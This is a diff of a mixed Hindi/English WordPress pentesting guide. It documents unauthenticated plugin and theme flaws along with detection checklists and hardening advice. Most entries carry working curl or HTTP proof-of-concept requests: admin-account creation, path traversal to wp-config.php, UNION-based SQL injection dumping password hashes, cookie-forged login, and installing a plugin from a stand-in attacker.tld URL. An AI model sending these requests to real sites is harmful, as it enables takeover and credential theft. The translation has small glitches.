`X-Wcpay-Platform-Checkout-User: 1` (user ID 1 को जबरदस्ती लागू करता है, आम तौर पर पहला administrator account). +- Exploited route: `POST /wp-json/wp/v2/users` with an elevated role array. PoC ```http @@ -391,31 +419,31 @@ Content-Length: 114 {"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]} ``` -क्यों यह काम करता है +Why it works -- प्लगइन एक क्लाइंट-नियंत्रित हेडर को प्रमाणीकरण स्थिति से मैप करता है और capability checks को स्किप कर देता है। -- WordPress core इस route के लिए `create_users` capability की अपेक्षा करता है; प्लगइन hack इसे बाइपास करता है द्वारा हेडर से सीधे current user context सेट करके। +- प्लगइन एक क्लाइंट-निहित हेडर को authentication state से मैप करता है और capability checks को बायपास कर देता है। +- WordPress core इस route के लिए `create_users` capability की उम्मीद करता है; प्लगइन hack इसे बायपास कर देता है हेडर से सीधे current user context सेट करके। -अपेक्षित सफलता संकेत +Expected success indicators -- HTTP 201 के साथ एक JSON बॉडी जो बनाए गए user का विवरण देती है। -- एक नया admin user जो `wp-admin/users.php` में दिखाई देता है। +- HTTP 201 एक JSON बॉडी के साथ जो बनाए गए user का वर्णन करती है। +- एक नया admin user दिखाई देगा `wp-admin/users.php` में। -डिटेक्शन चेकलिस्ट +Detection checklist -- Grep करके खोजें `getallheaders()`, `$_SERVER['HTTP_...']`, या vendor SDKs जो custom headers पढ़कर user context सेट करते हैं (उदा., `wp_set_current_user()`, `wp_set_auth_cookie()`). -- REST registrations की समीक्षा करें ताकि ऐसे privileged callbacks मिलें जिनमें मजबूत `permission_callback` checks नहीं हैं और जो request headers पर निर्भर करते हैं। -- ऐसे उपयोग ढूँढें जहाँ core user-management functions (`wp_insert_user`, `wp_create_user`) REST handlers के अंदर उपयोग किए गए हैं और केवल header values से gated हैं। +- `getallheaders()`, `$_SERVER['HTTP_...']`, या ऐसे vendor SDKs के लिए grep करें जो कस्टम हेडर्स पढ़कर user context सेट करते हैं (उदा., `wp_set_current_user()`, `wp_set_auth_cookie()`). +- उन REST registrations की समीक्षा करें जिनके privileged callbacks में मजबूत `permission_callback` चेक नहीं हैं और जो request headers पर निर्भर करते हैं। +- ऐसे REST handlers में core user-management functions (`wp_insert_user`, `wp_create_user`) के उपयोग ढूंढें जो केवल header values से गेट किए गए हैं। -### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0) +### wp_ajax_nopriv के माध्यम से अनप्रमाणीकृत मनमाना फ़ाइल हटाना (Litho Theme <= 3.0) -WordPress themes और plugins अक्सर `wp_ajax_` और `wp_ajax_nopriv_` hooks के माध्यम से AJAX handlers को एक्सपोज़ करते हैं। जब **_nopriv_** variant का उपयोग होता है **callback अनप्रमाणीकृत विज़िटर्स के लिए पहुँच योग्य हो जाता है**, इसलिए किसी भी संवेदनशील कार्रवाई को अतिरिक्त रूप से यह लागू करना चाहिए: +WordPress themes और plugins अक्सर `wp_ajax_` और `wp_ajax_nopriv_` hooks के माध्यम से AJAX handlers एक्सपोज़ करते हैं। जब **_nopriv_** variant का इस्तेमाल होता है **तो callback अनप्रमाणीकृत विज़िटर द्वारा पहुंच योग्य हो जाता है**, इसलिए किसी भी संवेदनशील कार्रवाई के लिए अतिरिक्त रूप से निम्न लागू होना चाहिए: -1. एक **capability check** (उदा. `current_user_can()` या कम से कम `is_user_logged_in()`), और -2. एक **CSRF nonce** जिसे `check_ajax_referer()` / `wp_verify_nonce()` के साथ validate किया गया हो, और -3. **Strict input sanitisation / validation**। +1. एक **capability check** (जैसे `current_user_can()` या कम से कम `is_user_logged_in()`), और +2. एक **CSRF nonce** जो `check_ajax_referer()` / `wp_verify_nonce()` से validate किया गया हो, और +3. **कठोर इनपुट sanitisation / validation**। -The Litho multipurpose theme (< 3.1) ने इन तीन कंट्रोल्स को *Remove Font Family* फीचर में भूल गया था और परिणामस्वरूप निम्नलिखित कोड (सरलीकृत) शिप हो गया: +The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified): ```php function litho_remove_font_family_action_data() { if ( empty( $_POST['fontfamily'] ) ) { @@ -434,15 +462,15 @@ die(); add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); ``` -Issues introduced by this snippet: +इस स्निपेट द्वारा पेश की गई समस्याएँ: -* **Unauthenticated access** – the `wp_ajax_nopriv_` hook रजिस्टर किया गया है। -* **No nonce / capability check** – कोई भी विज़िटर endpoint तक पहुँच सकता है। -* **No path sanitisation** – उपयोगकर्ता–नियंत्रित `fontfamily` स्ट्रिंग बिना फ़िल्टर किए फ़ाइल सिस्टम पथ के साथ जोड़ दी जाती है, जिससे क्लासिक `../../` traversal संभव हो जाता है। +* **अनप्रमाणित पहुँच** – `wp_ajax_nopriv_` hook रजिस्टर किया गया है। +* **Nonce / capability चेक नहीं** – कोई भी आगंतुक इस एंडपॉइंट को हिट कर सकता है। +* **पाथ सैनीटाइज़ेशन नहीं** – उपयोगकर्ता-नियंत्रित `fontfamily` स्ट्रिंग को फ़िल्टर किए बिना फाइलसिस्टम पाथ के साथ जोड़ दिया जाता है, जिससे क्लासिक `../../` traversal संभव होता है। -#### Exploitation +#### शोषण -एक attacker एक ही HTTP POST अनुरोध भेजकर किसी भी फ़ाइल या डायरेक्टरी को **uploads base directory के नीचे** (आम तौर पर `/wp-content/uploads/`) से डिलीट कर सकता है: +एक हमलावर एकल HTTP POST अनुरोध भेजकर किसी भी फ़ाइल या डायरेक्टरी को **uploads बेस डायरेक्टरी के नीचे** (आमतौर पर `/wp-content/uploads/`) से हटा सकता है: ```bash curl -X POST https://victim.com/wp-admin/admin-ajax.php \ -d 'action=litho_remove_font_family_action_data' \ @@ -452,10 +480,10 @@ Because `wp-config.php` lives outside *uploads*, four `../` sequences are enough Other impactful targets include plugin/theme `.php` files (to break security plugins) or `.htaccess` rules. -#### डिटेक्शन चेकलिस्ट +#### Detection checklist -* कोई भी `add_action( 'wp_ajax_nopriv_...')` callback जो filesystem helpers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, आदि) को कॉल करता हो। -* paths में unsanitised user input का concatenation (देखें: `$_POST`, `$_GET`, `$_REQUEST`)। +* कोई भी `add_action( 'wp_ajax_nopriv_...')` callback जो filesystem helpers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, आदि) को कॉल करता है। +* paths में unsanitised user input का concatenation (देखें `$_POST`, `$_GET`, `$_REQUEST`)। * `check_ajax_referer()` और `current_user_can()`/`is_user_logged_in()` की अनुपस्थिति। --- @@ -479,11 +507,11 @@ foreach ( $orig as $r ) { $u->add_role( $r ); } } } ``` -क्यों यह exploitable है +यह क्यों exploitable है -- सर्वर-साइड authorization के बिना `$_REQUEST['reset-for']` और एक plugin option पर भरोसा करता है। -- यदि किसी उपयोगकर्ता के higher privileges पहले `_asenha_view_admin_as_original_roles` में सहेजे गए थे और उन्हें downgraded किया गया हो, तो वे reset path पर जाकर उन्हें पुनर्स्थापित कर सकते हैं। -- कुछ deployments में, कोई भी authenticated उपयोगकर्ता किसी अन्य username के लिए reset ट्रिगर कर सकता है, जो अभी भी `viewing_admin_as_role_are` में मौजूद है (broken authorization). +- सर्वर-साइड प्राधिकरण के बिना `$_REQUEST['reset-for']` और एक plugin विकल्प पर भरोसा करता है। +- यदि किसी उपयोगकर्ता के पास पहले `_asenha_view_admin_as_original_roles` में higher privileges संग्रहीत थे और उन्हें downgraded किया गया, तो वे reset path को हिट करके उन्हें restore कर सकते हैं। +- कुछ deployments में, कोई भी authenticated user `viewing_admin_as_role_are` में अभी भी मौजूद किसी अन्य username के लिए reset ट्रिगर कर सकता है (broken authorization). Exploitation (example) ```bash @@ -497,11 +525,11 @@ On vulnerable builds this removes current roles and re-adds the saved original r Detection checklist -- उन role-switching फीचर्स की तलाश करें जो user meta में “original roles” को स्थायी रूप से सेव करते हैं (उदा., `_asenha_view_admin_as_original_roles`)। -- ऐसे reset/restore paths पहचानें जो: - - `$_REQUEST` / `$_GET` / `$_POST` से usernames पढ़ते हैं। - - बिना `current_user_can()` और `wp_verify_nonce()` / `check_admin_referer()` के `add_role()` / `remove_role()` के माध्यम से roles बदलते हैं। - - actor की capabilities के बजाय plugin option array (उदा., `viewing_admin_as_role_are`) के आधार पर authorize करते हैं। +- Look for role-switching features that persist “original roles” in user meta (e.g., `_asenha_view_admin_as_original_roles`). +- Identify reset/restore paths that: +- Read usernames from `$_REQUEST` / `$_GET` / `$_POST`. +- Modify roles via `add_role()` / `remove_role()` without `current_user_can()` and `wp_verify_nonce()` / `check_admin_referer()`. +- Authorize based on a plugin option array (e.g., `viewing_admin_as_role_are`) instead of the actor’s capabilities. --- @@ -538,13 +566,13 @@ wp_die('Original user not found.'); wp_die('No original user found to switch back to.'); } ``` -यह क्यों शोषण योग्य है +यह शोषणीय क्यों है -- सार्वजनिक `init` hook हैंडलर को अप्रमाणीकृत उपयोगकर्ताओं के लिए पहुँच योग्य बनाता है (कोई `is_user_logged_in()` गार्ड नहीं)। -- पहचान क्लाइंट-परिवर्तनीय कुकी (`original_user_id`) से ली जाती है। -- सीधा कॉल `wp_set_auth_cookie($uid)` अनुरोधकर्ता को उस उपयोगकर्ता के रूप में लॉग इन कर देता है बिना किसी capability/nonce checks के। +- सार्वजनिक `init` hook हैंडलर को अनप्रमाणित उपयोगकर्ताओं के लिए पहुँच योग्य बनाता है (कोई `is_user_logged_in()` गार्ड नहीं)। +- पहचान क्लाइंट-परिवर्तनीय cookie (`original_user_id`) से प्राप्त होती है। +- `wp_set_auth_cookie($uid)` को सीधे कॉल करने से अनुरोधकर्ता उस यूजर के रूप में लॉग इन हो जाता है बिना किसी capability/nonce checks के। -शोषण (अप्रमाणीकृत) +शोषण (अनप्रमाणित) ```http GET /?switch_back=1 HTTP/1.1 Host: victim.example @@ -554,22 +582,22 @@ Connection: close ``` --- -### WAF considerations for WordPress/plugin CVEs +### WAF विचार — WordPress/plugin CVEs के लिए -Generic edge/server WAFs व्यापक पैटर्न (SQLi, XSS, LFI) के लिए ट्यून किए जाते हैं। कई उच्च-प्रभाव वाले WordPress/plugin दोष अनुप्रयोग-विशिष्ट लॉजिक/प्रमाणीकरण बग होते हैं जो इंजन WordPress routes और plugin semantics को समझे बिना वैध ट्रैफ़िक जैसा दिखते हैं। +Generic edge/server WAFs व्यापक पैटर्न (SQLi, XSS, LFI) के लिए अनुकूलित होते हैं। कई high‑impact WordPress/plugin दोष application-specific logic/auth बग होते हैं जो तब तक सामान्य ट्रैफिक की तरह दिखते हैं जब तक engine WordPress routes और plugin semantics को समझ नहीं लेता। Offensive notes -- plugin-विशिष्ट endpoints को clean payloads के साथ लक्षित करें: `admin-ajax.php?action=...`, `wp-json//`, custom file handlers, shortcodes. -- पहले unauth paths का परीक्षण करें (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads अक्सर बिना obfuscation के सफल हो जाते हैं। -- आम उच्च-प्रभाव मामले: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect. +- clean payloads के साथ plugin-specific endpoints को टार्गेट करें: `admin-ajax.php?action=...`, `wp-json//`, custom file handlers, shortcodes. +- पहले unauth paths का परीक्षण करें (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads अक्सर बिना obfuscation के सफल होते हैं। +- आम high-impact मामलों में: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect. Defensive notes -- Generic WAF signatures पर plugin CVEs की सुरक्षा के लिए भरोसा न करें। application-layer, vulnerability-specific virtual patches लागू करें या जल्दी अपडेट करें। -- कोड में negative regex filters की तुलना में positive-security checks (capabilities, nonces, strict input validation) को प्राथमिकता दें। +- plugin CVEs की रक्षा के लिए generic WAF signatures पर भरोसा न करें। application-layer, vulnerability-specific virtual patches लागू करें या जल्दी अपडेट करें। +- code में negative regex filters की बजाय positive-security checks (capabilities, nonces, strict input validation) को प्राथमिकता दें। -## WordPress Protection +## WordPress सुरक्षा ### नियमित अपडेट @@ -579,7 +607,7 @@ define( 'WP_AUTO_UPDATE_CORE', true ); add_filter( 'auto_update_plugin', '__return_true' ); add_filter( 'auto_update_theme', '__return_true' ); ``` -इसके अलावा, **केवल भरोसेमंद WordPress plugins और themes ही इंस्टॉल करें।** +साथ ही, **केवल भरोसेमंद WordPress plugins और themes ही इंस्टॉल करें**। ### सुरक्षा प्लगइन्स @@ -587,17 +615,17 @@ add_filter( 'auto_update_theme', '__return_true' ); - [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/) - [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/) -### **अन्य सुझाव** +### **अन्य सिफारिशें** -- डिफॉल्ट **admin** उपयोगकर्ता को हटाएँ +- डिफ़ॉल्ट **admin** उपयोगकर्ता हटाएँ - **मजबूत पासवर्ड** और **2FA** का उपयोग करें -- समय-समय पर उपयोगकर्ताओं की **अनुमतियाँ** की **समीक्षा** करें -- Brute Force हमलों को रोकने के लिए **लॉगिन प्रयासों को सीमित करें** -- **`wp-admin.php`** फाइल का नाम बदलें और केवल आंतरिक रूप से या कुछ निश्चित IP पतों से ही एक्सेस की अनुमति दें। +- समय-समय पर उपयोगकर्ताओं की **permissions** की **समीक्षा** करें +- **लॉगिन प्रयासों को सीमित करें** ताकि Brute Force attacks को रोका जा सके +- Rename **`wp-admin.php`** file और केवल आंतरिक रूप से या कुछ निश्चित IP addresses से ही एक्सेस की अनुमति दें। ### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2) -WP Job Portal recruitment plugin ने एक **savecategory** टास्क उजागर किया जो अंततः `modules/category/model.php::validateFormData()` के अंदर निम्नलिखित असुरक्षित कोड को निष्पादित करता है: +The WP Job Portal recruitment plugin exposed a **savecategory** task that ultimately executes the following vulnerable code inside `modules/category/model.php::validateFormData()`: ```php $category = WPJOBPORTALrequest::getVar('parentid'); $inquery = ' '; @@ -609,13 +637,13 @@ $query = "SELECT max(ordering)+1 AS maxordering FROM " ``` Issues introduced by this snippet: -1. **Unsanitised user input** – `parentid` सीधे HTTP request से आता है। -2. **String concatenation inside the WHERE clause** – कोई `is_numeric()` / `esc_sql()` / prepared statement नहीं। -3. **Unauthenticated reachability** – हालांकि action `admin-post.php` के माध्यम से execute होता है, पर मौजूद唯一 जाँच एक **CSRF nonce** (`wp_verify_nonce()`) है, जिसे कोई भी विज़िटर public पेज से प्राप्त कर सकता है जो shortcode `[wpjobportal_my_resumes]` एम्बेड करता है। +1. **सैनिटाइज़ नहीं किया गया उपयोगकर्ता इनपुट** – `parentid` सीधे HTTP request से आता है. +2. **WHERE clause के अंदर string concatenation** – कोई `is_numeric()` / `esc_sql()` / prepared statement नहीं है. +3. **बिना प्रमाणीकरण पहुँच** – हालाँकि action `admin-post.php` के ज़रिए execute होता है, जगह पर मौजूद एकमात्र चेक **CSRF nonce** (`wp_verify_nonce()` ) है, जिसे कोई भी visitor सार्वजनिक पेज से प्राप्त कर सकता है जो शॉर्टकोड `[wpjobportal_my_resumes]` एम्बेड करता है. -#### Exploitation +#### शोषण -1. एक ताज़ा nonce प्राप्त करें: +1. एक नया nonce प्राप्त करें: ```bash curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4 ``` @@ -627,18 +655,18 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \ -d 'parentid=0 OR 1=1-- -' \ -d 'cat_title=pwn' -d 'id=' ``` -Response इंजेक्ट किए गए क्वेरी का परिणाम उजागर करता है या डेटाबेस बदल देता है, जिससे SQLi प्रमाणित होता है। +Response इंजेक्ट किए गए query का परिणाम प्रकट कर सकता है या डेटाबेस बदल सकता है, जिससे SQLi साबित होता है. ### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2) -एक अन्य टास्क, **downloadcustomfile**, विज़िटर को path traversal के माध्यम से डिस्क से **किसी भी फ़ाइल** डाउनलोड करने की अनुमति देता था। कमजोर sink स्थित है `modules/customfield/model.php::downloadCustomUploadedFile()`: +एक अन्य task, **downloadcustomfile**, विज़िटर्स को path traversal के जरिए डिस्क पर मौजूद **किसी भी फ़ाइल** डाउनलोड करने की अनुमति देता था। कमजोर sink `modules/customfield/model.php::downloadCustomUploadedFile()` में स्थित है: ```php $file = $path . '/' . $file_name; ... echo $wp_filesystem->get_contents($file); // raw file output ``` -`$file_name` हमलावर द्वारा नियंत्रित है और **सैनिटाइज़ेशन के बिना** संयोजित किया जाता है। फिर से, एकमात्र बाधा **CSRF nonce** है जिसे resume पृष्ठ से प्राप्त किया जा सकता है। +`$file_name` attacker-controlled है और **without sanitisation** के साथ जोड़ा जाता है। फिर से, एकमात्र gate एक **CSRF nonce** है जिसे resume page से प्राप्त किया जा सकता है। #### Exploitation ```bash @@ -649,13 +677,13 @@ curl -G https://victim.com/wp-admin/admin-post.php \ --data-urlencode 'entity_id=1' \ --data-urlencode 'file_name=../../../wp-config.php' ``` -The server responds with the contents of `wp-config.php`, leaking DB credentials and auth keys. +सर्वर `wp-config.php` की सामग्री के साथ प्रतिक्रिया देता है, leaking DB credentials and auth keys. -## अप्रमाणीकरण किए बिना account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9) +## गैर-प्रमाणीकृत account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9) -कई themes/plugins "social login" helpers ship करते हैं जो admin-ajax.php के माध्यम से एक्सपोज़ होते हैं। अगर एक unauthenticated AJAX action (wp_ajax_nopriv_...) client-supplied identifiers पर भरोसा करता है जब provider data अनुपस्थित हो और फिर wp_set_auth_cookie() को कॉल करता है, तो यह एक पूरा authentication bypass बन जाता है। +कई themes/plugins "social login" helpers admin-ajax.php के माध्यम से expose करते हैं। अगर एक unauthenticated AJAX action (wp_ajax_nopriv_...) provider data अनुपस्थित होने पर client-supplied identifiers पर भरोसा करता है और फिर wp_set_auth_cookie() को कॉल करता है, तो यह एक पूरा authentication bypass बन जाता है। -Typical flawed pattern (simplified) +सामान्य दोषपूर्ण पैटर्न (सरलीकृत) ```php public function check_login() { // ... request parsing ... @@ -684,17 +712,17 @@ wp_send_json(['status' => 'not_user']); } // add_action('wp_ajax_nopriv_', [$this, 'check_login']); ``` -यह शोषणीय क्यों है +यह क्यों exploitable है -- admin-ajax.php के माध्यम से unauthenticated पहुँच (wp_ajax_nopriv_… action)। -- state change से पहले कोई nonce/capability चेक नहीं है। -- OAuth/OpenID provider सत्यापन अनुपस्थित है; default branch attacker इनपुट स्वीकार कर लेता है। -- get_user_by('email', $_POST['id']) के बाद wp_set_auth_cookie($uid) कॉल करने से requester को किसी भी मौजूद email address के रूप में प्रमाणित कर देता है। +- बिना प्रमाणीकरण के पहुंच possible via admin-ajax.php (wp_ajax_nopriv_… action) के माध्यम से। +- state change से पहले nonce/capability checks नहीं हैं। +- OAuth/OpenID provider verification गायब है; default branch attacker input स्वीकार कर लेता है। +- get_user_by('email', $_POST['id']) के बाद wp_set_auth_cookie($uid) requester को किसी भी मौजूदा email address के रूप में authenticate कर देता है। Exploitation (unauthenticated) -- पूर्वापेक्षाएँ: attacker /wp-admin/admin-ajax.php तक पहुँच सकता है और किसी वैध उपयोगकर्ता ईमेल को जानता/अनुमान लगा सकता है। -- provider को एक unsupported value पर सेट करें (या इसे छोड़ दें) ताकि default branch पर जाएँ और id= पास करें। +- पूर्वापेक्षाएँ: attacker /wp-admin/admin-ajax.php तक पहुँच सकता है और किसी मान्य user email को जानता/अनुमान लगा सकता है। +- provider को unsupported value पर सेट करें (या इसे हटाएँ) ताकि default branch हिट हो और id= पास करें। ```http POST /wp-admin/admin-ajax.php HTTP/1.1 Host: victim.tld @@ -709,25 +737,25 @@ curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \ ``` Expected success indicators -- HTTP 200 with JSON body like {"status":"success","message":"Login successfully."}. -- Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated. +- HTTP 200 और JSON बॉडी जैसी {"status":"success","message":"Login successfully."}. +- Set-Cookie: wordpress_logged_in_* पीड़ित उपयोगकर्ता के लिए; उसके बाद के अनुरोध प्रमाणीकृत होते हैं। Finding the action name -- Inspect the theme/plugin for add_action('wp_ajax_nopriv_...', '...') registrations in social login code (e.g., framework/add-ons/social-login/class-social-login.php). +- theme/plugin की जाँच करें add_action('wp_ajax_nopriv_...', '...') पंजीकरणों के लिए सोशल लॉगिन कोड में (e.g., framework/add-ons/social-login/class-social-login.php). - Grep for wp_set_auth_cookie(), get_user_by('email', ...) inside AJAX handlers. Detection checklist -- Web logs showing unauthenticated POSTs to /wp-admin/admin-ajax.php with the social-login action and id=. -- 200 responses with the success JSON immediately preceding authenticated traffic from the same IP/User-Agent. +- Web logs जो अप्रमाणीकृत POSTs दिखाते हैं /wp-admin/admin-ajax.php पर social-login action और id= के साथ। +- 200 responses जो success JSON के साथ हों और तुरंत उसी IP/User-Agent से आने वाले प्रमाणीकृत ट्रैफिक से पहले हों। Hardening -- क्लाइंट इनपुट से पहचान न निकालें। केवल validated provider token/ID से उत्पन्न emails/IDs स्वीकार करें। -- Require CSRF nonces और capability checks लगाएँ भले ही वे login helpers हों; wp_ajax_nopriv_ को केवल तभी रजिस्टर करें जब बिल्कुल ज़रूरी हो। -- OAuth/OIDC responses को server-side validate और verify करें; missing/invalid providers को reject करें (POST id पर fallback न करें)। -- तब तक social login अस्थायी रूप से disable करने या edge पर virtual patching (vulnerable action को block करना) पर विचार करें जब तक fix न हो जाए। +- क्लाइंट इनपुट से पहचान न बनाएं। केवल उन्हीं emails/IDs को स्वीकार करें जो validated provider token/ID से आई हों। +- CSRF nonces और capability checks की आवश्यकता रखें भले ही login helpers के लिए हों; wp_ajax_nopriv_ को तब तक register करने से बचें जब तक बिल्कुल जरूरी न हो। +- OAuth/OIDC responses को server-side पर validate और verify करें; missing/invalid providers को reject करें (POST id पर fallback नहीं करें)। +- अस्थायी रूप से social login को disable करने या edge पर virtually patch करने पर विचार करें (vulnerable action को block करें) जब तक fix नहीं हो जाता। Patched behaviour (Jobmonster 4.8.0) @@ -735,13 +763,13 @@ Patched behaviour (Jobmonster 4.8.0) ## Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82) -कुछ plugins ऐसे REST endpoints एक्सपोज़ करते हैं जो caller की capabilities की जांच किए बिना reusable “connection keys” या tokens मिंट कर देते हैं। अगर route केवल किसी guessable attribute (जैसे username) पर authenticate करता है और key को user/session के साथ capability checks के साथ bind नहीं करता, तो कोई भी unauthenticated attacker एक key मिंट कर सकता है और privileged actions (admin account creation, plugin actions → RCE) को invoke कर सकता है। +Some plugins expose REST endpoints that mint reusable “connection keys” or tokens without verifying the caller’s capabilities. If the route authenticates only on a guessable attribute (e.g., username) and does not bind the key to a user/session with capability checks, any unauthenticated attacker can mint a key and invoke privileged actions (admin account creation, plugin actions → RCE). - Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection - Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback - Impact: full takeover by chaining the minted key to internal privileged actions -PoC – mint a connection key and use it +PoC – एक connection key mint करें और इसका उपयोग करें ```bash # 1) Obtain key (unauthenticated). Exact payload varies per plugin curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \ @@ -756,28 +784,28 @@ curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \ --data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}' ``` क्यों यह शोषण योग्य है -- संवेदनशील REST route केवल कम-एंट्रॉपी पहचान प्रमाण (username) पर निर्भर है या permission_callback गायब है -- कोई capability enforcement नहीं; minted key को सार्वभौमिक bypass के रूप में स्वीकार कर लिया जाता है +- Sensitive REST route केवल कम-entropy पहचान प्रमाण (username) या permission_callback के अभाव से सुरक्षित है +- कोई capability enforcement नहीं; mint किया गया key सार्वभौमिक बायपास के रूप में स्वीकार किया जाता है -पता लगाने की चेकलिस्ट -- plugin कोड में register_rest_route(..., [ 'permission_callback' => '__return_true' ]) के लिए grep करें -- कोई भी route जो request-supplied identity (username/email) के आधार पर tokens/keys जारी करता है, बिना किसी authenticated user या capability से जोड़े -- उन subsequent routes को देखें जो server-side capability checks के बिना minted token/key को स्वीकार करते हैं +Detection checklist +- Grep plugin code for register_rest_route(..., [ 'permission_callback' => '__return_true' ]) +- कोई भी route जो request-supplied identity (username/email) के आधार पर tokens/keys जारी करता है बिना इसे authenticated user या capability से बाँधे +- ऐसे subsequent routes देखें जो server-side capability checks के बिना minted token/key स्वीकार करते हैं -हार्डनिंग -- किसी भी privileged REST route के लिए: एक permission_callback आवश्यक रखें जो required capability के लिए current_user_can() को लागू करे -- client-supplied identity से long-lived keys mint न करें; यदि आवश्यक हो तो authentication के बाद short-lived, user-bound tokens जारी करें और उपयोग पर capabilities फिर से जाँचें -- कॉलर के user context को validate करें (wp_set_current_user अकेले पर्याप्त नहीं है) और उन requests को reject करें जहाँ !is_user_logged_in() || !current_user_can() +Hardening +- किसी भी privileged REST route के लिए: permission_callback आवश्यक करें जो required capability के लिए current_user_can() लागू करे +- client-supplied identity से long-lived keys mint न करें; अगर ज़रूरत हो तो authentication के बाद short-lived, user-bound tokens जारी करें और उपयोग पर capabilities फिर से जाँचें +- caller के user context को validate करें (wp_set_current_user अकेला पर्याप्त नहीं है) और उन अनुरोधों को अस्वीकार करें जहाँ !is_user_logged_in() || !current_user_can() --- -## Nonce gate के गलत उपयोग → बिना प्रमाणीकरण के मनमाना plugin इंस्टॉलेशन (FunnelKit Automations ≤ 3.5.3) +## Nonce gate misuse → unauthenticated arbitrary plugin installation (FunnelKit Automations ≤ 3.5.3) -Nonces CSRF को रोकते हैं, authorization नहीं। अगर कोड nonce पास को green light मानकर privileged operations (e.g., install/activate plugins) के लिए capability checks छोड़ देता है, तो बिना प्रमाणीकरण वाले attackers एक कमजोर nonce शर्त पूरी कर के backdoored या vulnerable plugin इंस्टॉल करके RCE हासिल कर सकते हैं। +Nonces CSRF को रोकते हैं, authorization को नहीं। अगर कोड nonce पास होना को green light मानता है और फिर privileged operations (e.g., install/activate plugins) के लिए capability checks छोड़ देता है, तो अनप्रमाणित हमलावर एक कमजोर nonce requirement पूरा करके backdoored या vulnerable plugin इंस्टॉल करके RCE तक पहुँच सकते हैं। - Vulnerable path: plugin/install_and_activate -- Flaw: weak nonce hash check; nonce “passes” होने पर current_user_can('install_plugins'|'activate_plugins') लागू नहीं होता -- Impact: arbitrary plugin install/activation के माध्यम से पूर्ण समझौता +- Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes” +- Impact: full compromise via arbitrary plugin install/activation PoC (shape depends on plugin; illustrative only) ```bash @@ -785,23 +813,23 @@ curl -i -s -X POST https://victim.tld/wp-json//plugin/install_and_ -H 'Content-Type: application/json' \ --data '{"_nonce":"","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}' ``` -पता लगाने की चेकलिस्ट -- REST/AJAX हैंडलर जो plugins/themes को केवल wp_verify_nonce()/check_admin_referer() के साथ संशोधित करते हैं और capability check नहीं करते -- कोई भी कोड पाथ जो nonce validation के बाद $skip_caps = true सेट करता है +Detection checklist +- REST/AJAX handlers जो plugins/themes को modify करते हैं पर केवल wp_verify_nonce()/check_admin_referer() मौजूद हों और capability check न हो +- कोई भी code path जो nonce validation के बाद $skip_caps = true सेट करता है -हार्डनिंग -- Nonces को केवल CSRF tokens के रूप में ही मानें; nonce की स्थिति के बावजूद capability checks लागू करें -- installer code तक पहुँचने से पहले current_user_can('install_plugins') और current_user_can('activate_plugins') आवश्यक करें -- अप्रमाणीकृत पहुँच को अस्वीकार करें; privileged flows के लिए nopriv AJAX actions को एक्सपोज़ करने से बचें +Hardening +- nonces को केवल CSRF tokens के रूप में ही मानें; nonce की स्थिति चाहे जो भी हो capability checks लागू करें +- installer code तक पहुँचने से पहले current_user_can('install_plugins') और current_user_can('activate_plugins') की आवश्यकता रखें +- अनप्रमाणीकृत एक्सेस को अस्वीकार करें; विशेषाधिकार वाले फ्लोज़ के लिए nopriv AJAX actions को expose करने से बचें --- -## अप्रमाणीकृत SQLi depicter-* actions में s (search) parameter के माध्यम से (Depicter Slider ≤ 3.6.1) +## अनप्रमाणीकृत SQLi via s search parameter in depicter-* actions (Depicter Slider ≤ 3.6.1) -कई depicter-* actions ने s (search) parameter को लिया और उसे parameterization के बिना SQL queries में concatenated किया। +Multiple depicter-* actions ने s (search) पैरामीटर को उपयोग किया और उसे parameterization के बिना SQL queries में जोड़ दिया। - Parameter: s (search) -- Flaw: WHERE/LIKE clauses में सीधे string concatenation; कोई prepared statements/sanitization नहीं +- Flaw: WHERE/LIKE क्लॉज़ में direct string concatenation; कोई prepared statements/sanitization नहीं - Impact: database exfiltration (users, hashes), lateral movement PoC @@ -811,35 +839,35 @@ curl -G "https://victim.tld/wp-admin/admin-ajax.php" \ --data-urlencode 'action=depicter_search' \ --data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -" ``` -डिटेक्शन चेकलिस्ट -- depicter-* action handlers के लिए Grep करें और SQL में $_GET['s'] या $_POST['s'] का सीधे उपयोग देखें -- $wpdb->get_results()/query() को पास किए गए कस्टम क्वेरीज़ की समीक्षा करें जो s को जोड़ती हैं +Detection checklist +- Grep करके depicter-* action handlers और SQL में सीधे $_GET['s'] या $_POST['s'] के उपयोग को खोजें +- $wpdb->get_results()/query() को पास किए गए कस्टम क्वेरीज की समीक्षा करें जो s को concatenate कर रही हैं -हार्डनिंग +Hardening - हमेशा $wpdb->prepare() या wpdb placeholders का उपयोग करें; सर्वर-साइड पर 